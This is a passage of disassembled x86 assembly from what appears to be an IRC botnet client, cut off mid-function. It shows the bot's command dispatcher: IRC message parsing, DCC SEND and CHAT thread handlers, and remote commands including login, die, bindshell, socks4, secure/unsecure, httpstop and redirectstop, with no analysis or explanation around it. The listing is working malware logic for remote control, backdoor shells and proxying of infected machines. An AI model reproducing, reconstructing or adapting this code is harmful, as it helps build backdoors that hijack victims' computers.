		push	[ebp+4Ch+Source] ; Str2
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402B6A
		push	0Fh		; Count
		push	[ebp+4Ch+arg_0]	; Source
		push	[ebp+4Ch+Source] ; Dest
		call	_strncpy
		jmp	loc_404199
; ---------------------------------------------------------------------------


loc_402B6A:				; CODE XREF: sub_40274D+409j
		mov	edi, [ebp+4Ch+Str1]
		xor	esi, esi


loc_402B6F:				; CODE XREF: sub_40274D+443j
		cmp	[edi], bl
		jz	short loc_402B86
		lea	eax, [ebp+4Ch+var_E38]
		push	eax		; Str2
		push	edi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402B9D


loc_402B86:				; CODE XREF: sub_40274D+424j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402B6F


loc_402B92:				; CODE XREF: sub_40274D+DCj
					; sub_40274D+E5j ...
		xor	eax, eax
		inc	eax


loc_402B95:				; CODE XREF: sub_40274D+1D0j
					; sub_40274D+222Fj ...
		pop	edi


loc_402B96:				; CODE XREF: sub_40274D+58j
		pop	esi
		pop	ebx
		add	ebp, 4Ch
		leave
		retn
; ---------------------------------------------------------------------------


loc_402B9D:				; CODE XREF: sub_40274D+437j
		lea	eax, [ebp+4Ch+var_E38]
		push	21h		; Val
		push	eax		; Str
		call	_strchr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+4Ch+var_20], eax
		jz	short loc_402B92
		push	eax		; Str
		call	_strlen
		push	[ebp+4Ch+arg_0]	; Str
		mov	edi, eax
		call	_strlen
		add	edi, eax
		cmp	edi, 7Eh
		pop	ecx
		pop	ecx
		ja	short loc_402B92
		push	[ebp+4Ch+var_20]
		shl	esi, 7
		push	[ebp+4Ch+arg_0]
		add	esi, [ebp+4Ch+Str1]
		push	offset aSS_1	; ":%s%s"
		push	esi		; Dest
		call	_sprintf
		push	ebx		; int
		push	ebx		; int
		lea	eax, [ebp+4Ch+var_45F4]
		push	eax		; int
		push	[ebp+4Ch+arg_8]	; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 24h
		jmp	short loc_402B92
; ---------------------------------------------------------------------------


loc_402BFD:				; CODE XREF: sub_40274D+386j
		push	esi		; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402C1F
		push	esi		; Str2
		push	offset aQuit	; "QUIT"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402C43


loc_402C1F:				; CODE XREF: sub_40274D+4BFj
		mov	edi, [ebp+4Ch+Str1]
		xor	esi, esi


loc_402C24:				; CODE XREF: sub_40274D+4F4j
		cmp	[edi], bl
		jz	short loc_402C37
		push	[ebp+4Ch+Str2]	; Str2
		push	edi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402C81


loc_402C37:				; CODE XREF: sub_40274D+4D9j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402C24


loc_402C43:				; CODE XREF: sub_40274D+4D0j
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	offset a353	; "353"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402CDC
		push	[ebp+4Ch+var_94] ; Str2
		push	[ebp+4Ch+arg_8]	; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402C74
		mov	eax, [ebp+4Ch+arg_20]
		mov	dword ptr [eax], 1


loc_402C74:				; CODE XREF: sub_40274D+51Cj
		push	[ebp+4Ch+var_94]
		push	offset unk_42FD94
		jmp	loc_40A211
; ---------------------------------------------------------------------------


loc_402C81:				; CODE XREF: sub_40274D+4E8j
		mov	eax, [ebp+4Ch+Str1]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42FD70 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	offset aPart	; "PART"
		call	_strcmp
		add	esp, 18h
		test	eax, eax
		jnz	loc_402B92
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		mov	eax, [ebp+4Ch+Str2]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_402AB7
; ---------------------------------------------------------------------------


loc_402CDC:				; CODE XREF: sub_40274D+507j
		push	dword ptr [ebp+4Ch+Args] ; Str2
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	edi, offset Str	; "NOTICE"
		jz	short loc_402D27
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402D27
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_404979
		cmp	dword_43C084, ebx
		jz	loc_404979


loc_402D27:				; CODE XREF: sub_40274D+5A6j
					; sub_40274D+5B5j
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_402E83
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_402E83
		mov	eax, [ebp+4Ch+var_98]
		inc	[ebp+4Ch+var_94]
		mov	[ebp+4Ch+var_20], 4
		mov	[ebp+4Ch+Format], eax


loc_402D5D:				; CODE XREF: sub_40274D+7D7j
					; sub_40274D+810j ...
		mov	esi, [ebp+4Ch+var_20]
		shl	esi, 2
		lea	edi, [ebp+esi+4Ch+Str2]
		mov	eax, [edi]
		push	eax		; Str2
		push	offset dword_42FD64 ; Str1
		mov	[ebp+4Ch+var_10], eax
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4030EC
		push	dword ptr [ebp+esi+4Ch+Args] ; Str2
		push	offset aSend_0	; "SEND"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402FC0
		cmp	[ebp+4Ch+var_14], ebx
		jz	loc_402F9C
		push	[ebp+esi+4Ch+Format]
		mov	edi, offset aS	; "%s"
		lea	eax, [ebp+4Ch+var_1B88]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+4Ch+var_98]
		lea	eax, [ebp+4Ch+var_1B9C]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+4Ch+var_94] ; Str
		call	j__atol
		mov	[ebp+4Ch+var_1A04], eax
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_1BA4], eax
		push	7Fh		; Count
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_1A84]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_19FC], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_19F8], eax
		lea	eax, [ebp+4Ch+var_1A84]
		push	eax
		lea	eax, [ebp+4Ch+var_1B88]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42FD2C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 44h
		mov	[ebp+4Ch+var_1A00], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_1BA4]
		push	eax
		push	offset sub_418CEA
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_1A00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	loc_402F8F


loc_402E72:				; CODE XREF: sub_40274D+7473j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42FCF0
		jmp	loc_408D01
; ---------------------------------------------------------------------------


loc_402E83:				; CODE XREF: sub_40274D+5E7j
					; sub_40274D+5FAj
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402E99
		mov	[ebp+4Ch+var_4], 1


loc_402E99:				; CODE XREF: sub_40274D+743j
		cmp	[ebp+4Ch+Format], ebx
		jz	loc_402B92
		push	offset asc_42FCEC ; "#"
		push	[ebp+4Ch+Format] ; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402EBA
		cmp	[ebp+4Ch+var_4], ebx
		jz	short loc_402EC3


loc_402EBA:				; CODE XREF: sub_40274D+766j
		lea	eax, [ebp+4Ch+var_D0]
		mov	[ebp+4Ch+Format], eax


loc_402EC3:				; CODE XREF: sub_40274D+76Bj
		cmp	[ebp+4Ch+var_98], ebx
		jz	loc_402B92
		inc	[ebp+4Ch+var_98]
		jz	short loc_402F01
		cmp	[ebp+4Ch+Source], ebx
		jz	short loc_402F01
		lea	eax, [ebp+4Ch+Dest]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		push	[ebp+4Ch+var_98] ; Str2
		lea	eax, [ebp+4Ch+Dest]
		push	eax		; Str1
		call	_strncmp
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+4Ch+var_20], eax
		jmp	short loc_402F04
; ---------------------------------------------------------------------------


loc_402F01:				; CODE XREF: sub_40274D+782j
					; sub_40274D+787j
		mov	eax, [ebp+4Ch+var_20]


loc_402F04:				; CODE XREF: sub_40274D+7B2j
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+4Ch+Str2]
		cmp	edi, ebx
		jz	loc_402B92
		push	edi		; Str2
		push	offset dword_42FCE0 ; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402D5D
		mov	ecx, [ebp+4Ch+Format]
		cmp	byte ptr [ecx],	23h
		jz	short loc_402F4E
		mov	eax, dword_4D1FE0
		mov	eax, off_43C160[eax*4]
		cmp	[eax], bl
		jz	short loc_402F4E
		push	eax
		push	ecx
		push	offset dword_42FCC4
		jmp	loc_402AB7
; ---------------------------------------------------------------------------


loc_402F4E:				; CODE XREF: sub_40274D+7E3j
					; sub_40274D+7F3j
		push	edi		; Str2
		push	offset dword_42FCBC ; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_402D5D
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		cmp	esi, ebx
		jz	loc_402D5D
		mov	eax, [ebp+4Ch+Format]
		cmp	byte ptr [eax],	23h
		jz	loc_402D5D
		push	esi
		push	eax
		push	offset dword_42FCA4
		jmp	loc_402AB7
; ---------------------------------------------------------------------------


loc_402F87:				; CODE XREF: sub_40274D+848j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_402F8F:				; CODE XREF: sub_40274D+71Fj
		cmp	[ebp+4Ch+var_19F4], ebx
		jz	short loc_402F87
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_402F9C:				; CODE XREF: sub_40274D+64Fj
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		push	[ebp+esi+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42FC60 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_402FC0:				; CODE XREF: sub_40274D+646j
		push	dword ptr [ebp+esi+4Ch+Args] ; Str2
		push	offset aChat	; "CHAT"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_403102
		cmp	[ebp+4Ch+var_14], ebx
		jz	loc_4030DB
		push	1Bh
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jnz	loc_4030CA
		push	[ebp+esi+4Ch+var_98]
		lea	eax, [ebp+4Ch+var_2AB0]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+4Ch+var_94] ; Str
		call	j__atol
		mov	[ebp+4Ch+var_2918], eax
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_2AB8], eax
		push	7Fh		; Count
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_2998]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_2910], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_290C], eax
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42FC38 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	1Bh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 34h
		mov	[ebp+4Ch+var_2914], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_2AB8]
		push	eax
		push	offset sub_418799
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_2914]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4030BD
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42FC00
		jmp	loc_408D01
; ---------------------------------------------------------------------------


loc_4030B5:				; CODE XREF: sub_40274D+976j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4030BD:				; CODE XREF: sub_40274D+955j
		cmp	[ebp+4Ch+var_2908], ebx
		jz	short loc_4030B5
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_4030CA:				; CODE XREF: sub_40274D+89Ej
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		push	offset unk_42FBD0
		jmp	loc_408D01
; ---------------------------------------------------------------------------


loc_4030DB:				; CODE XREF: sub_40274D+88Ej
		lea	eax, [ebp+4Ch+var_D0]
		push	eax
		push	offset unk_42FB9C
		jmp	loc_408D01
; ---------------------------------------------------------------------------


loc_4030EC:				; CODE XREF: sub_40274D+62Ej
		mov	eax, [ebp+4Ch+var_10]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_43C08C
		mov	[edi], ecx
		jnz	loc_402B92


loc_403102:				; CODE XREF: sub_40274D+885j
		mov	edi, [edi]
		push	edi		; Str2
		push	offset aLogin	; "login"
		mov	[ebp+4Ch+var_10], edi
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40A0B6
		push	edi		; Str2
		push	offset asc_42FB98 ; "l"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40A0B6
		cmp	[ebp+4Ch+var_14], ebx
		jnz	short loc_40314D
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_404979


loc_40314D:				; CODE XREF: sub_40274D+9E7j
		cmp	[ebp+4Ch+arg_28], ebx
		jnz	loc_404979
		xor	edi, edi
		cmp	dword_43C498, ebx
		jle	loc_4032D6
		mov	[ebp+4Ch+var_14], offset dword_4D1450


loc_40316B:				; CODE XREF: sub_40274D+A3Dj
		push	[ebp+4Ch+var_10] ; Str2
		push	[ebp+4Ch+var_14] ; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_403191
		add	[ebp+4Ch+var_14], 0B8h
		inc	edi
		cmp	edi, dword_43C498
		jl	short loc_40316B
		jmp	loc_4032D6
; ---------------------------------------------------------------------------


loc_403191:				; CODE XREF: sub_40274D+A2Dj
		push	offset SubStr	; " :"
		push	[ebp+4Ch+arg_0]	; Str
		call	_strstr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_402B92
		mov	cl, byte_43C08C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_43C08C
		mov	[eax+3], cl
		push	9Fh		; Count
		lea	ecx, dword_4D1468[edi]
		push	ecx		; Source
		add	eax, 4
		push	eax		; Dest
		call	_strncpy
		lea	eax, dword_4D1450[edi]
		add	esp, 0Ch
		mov	[ebp+4Ch+var_14], 0Fh
		mov	[ebp+4Ch+var_24], eax
		lea	edi, [ebp+esi+4Ch+var_64]


loc_4031EC:				; CODE XREF: sub_40274D+B2Aj
		push	[ebp+4Ch+var_14]
		lea	eax, [ebp+4Ch+SubStr]
		push	offset aD	; "$%d-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; SubStr
		push	[ebp+4Ch+arg_0]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_403245
		cmp	[edi], ebx
		jz	short loc_403249
		push	[ebp+4Ch+var_24] ; Str
		call	_strlen
		add	[ebp+4Ch+var_18], eax
		pop	ecx
		jz	short loc_40326E
		push	dword ptr [edi-4] ; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40326E
		push	eax		; Source
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; SubStr
		push	[ebp+4Ch+arg_0]	; Dest
		call	sub_41AB7D
		add	esp, 0Ch
		jmp	short loc_40326E
; ---------------------------------------------------------------------------


loc_403245:				; CODE XREF: sub_40274D+AC1j
		cmp	[edi], ebx
		jnz	short loc_40326E


loc_403249:				; CODE XREF: sub_40274D+AC5j
		push	2		; Count
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; Source
		lea	eax, [ebp+4Ch+var_A8]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+4Ch+var_A8]
		push	eax		; Source
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; SubStr
		push	[ebp+4Ch+arg_0]	; Dest
		mov	[ebp+4Ch+var_A6], bl
		call	sub_41AB7D
		add	esp, 18h


loc_40326E:				; CODE XREF: sub_40274D+AD3j
					; sub_40274D+AE4j ...
		dec	[ebp+4Ch+var_14]
		sub	edi, 4
		cmp	[ebp+4Ch+var_14], ebx
		jg	loc_4031EC
		lea	eax, [ebp+esi+4Ch+var_64]
		mov	[ebp+4Ch+var_14], 10h
		mov	edi, eax


loc_40328A:				; CODE XREF: sub_40274D+B80j
		push	[ebp+4Ch+var_14]
		lea	eax, [ebp+4Ch+SubStr]
		push	offset aD_1	; "$%d"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; SubStr
		push	[ebp+4Ch+arg_0]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_4032C4
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4032C4
		push	eax		; Source
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; SubStr
		push	[ebp+4Ch+arg_0]	; Dest
		call	sub_41AB7D
		add	esp, 0Ch


loc_4032C4:				; CODE XREF: sub_40274D+B5Fj
					; sub_40274D+B65j
		dec	[ebp+4Ch+var_14]
		sub	edi, 4
		cmp	[ebp+4Ch+var_14], ebx
		jg	short loc_40328A
		mov	[ebp+4Ch+var_8], 1


loc_4032D6:				; CODE XREF: sub_40274D+A11j
					; sub_40274D+A3Fj
		mov	eax, [ebp+4Ch+var_10]
		mov	al, [eax]
		cmp	al, byte_43C08C
		jz	short loc_4032EC
		cmp	[ebp+4Ch+var_8], ebx
		jz	loc_40349C


loc_4032EC:				; CODE XREF: sub_40274D+B94j
		push	[ebp+4Ch+Source] ; Source
		mov	edi, [ebp+4Ch+arg_0]
		push	offset aMe	; "$me"
		push	edi		; Dest
		call	sub_41AB7D
		lea	eax, [ebp+4Ch+var_D0]
		push	eax		; Source
		push	offset aUser	; "$user"
		push	edi		; Dest
		call	sub_41AB7D
		push	[ebp+4Ch+Format] ; Source
		push	offset aChan	; "$chan"
		push	edi		; Dest
		call	sub_41AB7D
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+4Ch+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40AB83
		push	eax		; Source
		push	offset aRndnick	; "$rndnick"
		push	edi		; Dest
		call	sub_41AB7D
		add	esp, 40h
		push	[ebp+4Ch+arg_14] ; Source
		push	offset aServer	; "$server"
		push	edi		; Dest
		call	sub_41AB7D
		mov	edi, offset aChr ; "$chr("
		push	edi		; SubStr
		push	[ebp+4Ch+arg_0]	; Str
		call	_strstr
		add	esp, 14h
		jmp	loc_403420
; ---------------------------------------------------------------------------


loc_40335D:				; CODE XREF: sub_40274D+CD5j
		push	edi		; SubStr
		push	[ebp+4Ch+arg_0]	; Str
		call	_strstr
		mov	[ebp+4Ch+var_24], eax
		add	eax, 5
		push	4		; Count
		push	eax		; Source
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+4Ch+SubStr]
		push	offset asc_42FB58 ; ")"
		push	eax		; Str
		call	_strtok
		add	esp, 1Ch
		cmp	[ebp+4Ch+SubStr], 30h
		jl	short loc_403395
		cmp	[ebp+4Ch+SubStr], 39h
		jle	short loc_4033A8


loc_403395:				; CODE XREF: sub_40274D+C40j
		push	3		; Count
		lea	eax, [ebp+4Ch+SubStr]
		push	offset Source	; "63"
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_4033A8:				; CODE XREF: sub_40274D+C46j
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jle	short loc_4033C5
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; Str
		call	j__atol
		pop	ecx
		mov	[ebp+4Ch+var_A8], al
		jmp	short loc_4033D6
; ---------------------------------------------------------------------------


loc_4033C5:				; CODE XREF: sub_40274D+C67j
		call	_rand
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+4Ch+var_A8], dl


loc_4033D6:				; CODE XREF: sub_40274D+C76j
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; Str
		mov	[ebp+4Ch+var_A7], bl
		call	_strlen
		push	0Ch		; Size
		mov	[ebp+4Ch+var_14], eax
		lea	eax, [ebp+4Ch+SubStr]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+4Ch+var_14]
		add	eax, 6
		push	eax		; Count
		push	[ebp+4Ch+var_24] ; Source
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+4Ch+var_A8]
		push	eax		; Source
		lea	eax, [ebp+4Ch+SubStr]
		push	eax		; SubStr
		push	[ebp+4Ch+arg_0]	; Dest
		call	sub_41AB7D
		push	edi		; SubStr
		push	[ebp+4Ch+arg_0]	; Str
		call	_strstr
		add	esp, 30h


loc_403420:				; CODE XREF: sub_40274D+C0Bj
		test	eax, eax
		jnz	loc_40335D
		mov	edi, 1FFh
		push	edi		; Count
		push	[ebp+4Ch+arg_0]	; Source
		lea	eax, [ebp+4Ch+var_4590]
		push	eax		; Dest
		call	_strncpy
		push	edi		; Count
		lea	eax, [ebp+4Ch+var_4590]
		push	eax		; Source
		lea	eax, [ebp+4Ch+Str]
		push	eax		; Dest
		call	_strncpy
		mov	edi, offset asc_42FE58 ; " "
		lea	eax, [ebp+4Ch+Str]
		push	edi		; Delim
		push	eax		; Str
		call	_strtok
		add	esp, 20h
		mov	[ebp+4Ch+Str2],	eax
		mov	[ebp+4Ch+var_24], 1


loc_403470:				; CODE XREF: sub_40274D+D3Aj
		push	edi		; Delim
		push	ebx		; Str
		call	_strtok
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+4Ch+var_24]
		inc	[ebp+4Ch+var_24]
		cmp	[ebp+4Ch+var_24], 20h
		mov	[ebp+ecx*4+4Ch+Str2], eax
		jl	short loc_403470
		lea	eax, [ebp+esi+4Ch+Str2]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_402B92
		add	ecx, 3
		mov	[eax], ecx


loc_40349C:				; CODE XREF: sub_40274D+B99j
		mov	edi, [ebp+esi+4Ch+Str2]
		push	edi		; Str2
		push	offset aRndnick_0 ; "rndnick"
		mov	[ebp+4Ch+var_10], edi
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40A067
		push	edi		; Str2
		push	offset aRn	; "rn"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40A067
		push	edi		; Str2
		push	offset aDie	; "die"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405446
		push	edi		; Str2
		push	offset aD_0	; "d"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405446
		push	edi		; Str2
		push	offset aLogout	; "logout"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4053AE
		push	edi		; Str2
		push	offset aLo	; "lo"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4053AE
		push	edi		; Str2
		push	offset aVersion	; "version"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40539F
		push	edi		; Str2
		push	offset aVer	; "ver"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40539F
		push	edi		; Str2
		push	offset aDedication ; "dedication"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405395
		push	edi		; Str2
		push	offset aDed	; "ded"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405395
		push	edi		; Str2
		push	offset aSpeedtest ; "speedtest"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405382
		push	edi		; Str2
		push	offset aSt	; "st"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405382
		push	edi		; Str2
		push	offset aSecure	; "secure"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405288
		push	edi		; Str2
		push	offset aSec	; "sec"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405288
		push	edi		; Str2
		push	offset aUnsecure ; "unsecure"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405288
		push	edi		; Str2
		push	offset aUnsec	; "unsec"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405288
		push	edi		; Str2
		push	offset aBindshell ; "bindshell"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40518C
		push	edi		; Str2
		push	offset aBd	; "bd"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40518C
		push	edi		; Str2
		push	offset aBindshellstop ;	"bindshellstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403643
		push	dword ptr [ebp+esi+4Ch+Args]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42FAAC
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403643:				; CODE XREF: sub_40274D+EDFj
		push	edi		; Str2
		push	offset aSocks4	; "socks4"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405074
		push	edi		; Str2
		push	offset aS4	; "s4"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_405074
		push	edi		; Str2
		push	offset aSocks4stop ; "socks4stop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	dword ptr [ebp+esi+4Ch+Args]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42FA84
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403693:				; CODE XREF: sub_40274D+F2Fj
		push	edi		; Str2
		push	offset aRloginstop ; "rloginstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4036B9
		push	dword ptr [ebp+esi+4Ch+Args]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42FA68
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_4036B9:				; CODE XREF: sub_40274D+F55j
		push	edi		; Str2
		push	offset aHttpstop ; "httpstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4036DF
		push	dword ptr [ebp+esi+4Ch+Args]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42FA4C
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_4036DF:				; CODE XREF: sub_40274D+F7Bj
		push	edi		; Str2
		push	offset aLogstop	; "logstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403705
		push	dword ptr [ebp+esi+4Ch+Args]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_42FA2C
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_403705:				; CODE XREF: sub_40274D+FA1j
		push	edi		; Str2
		push	offset aRedirectstop ; "redirectstop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40372B
		push	dword ptr [ebp+esi+4Ch+Args]
		push	18h
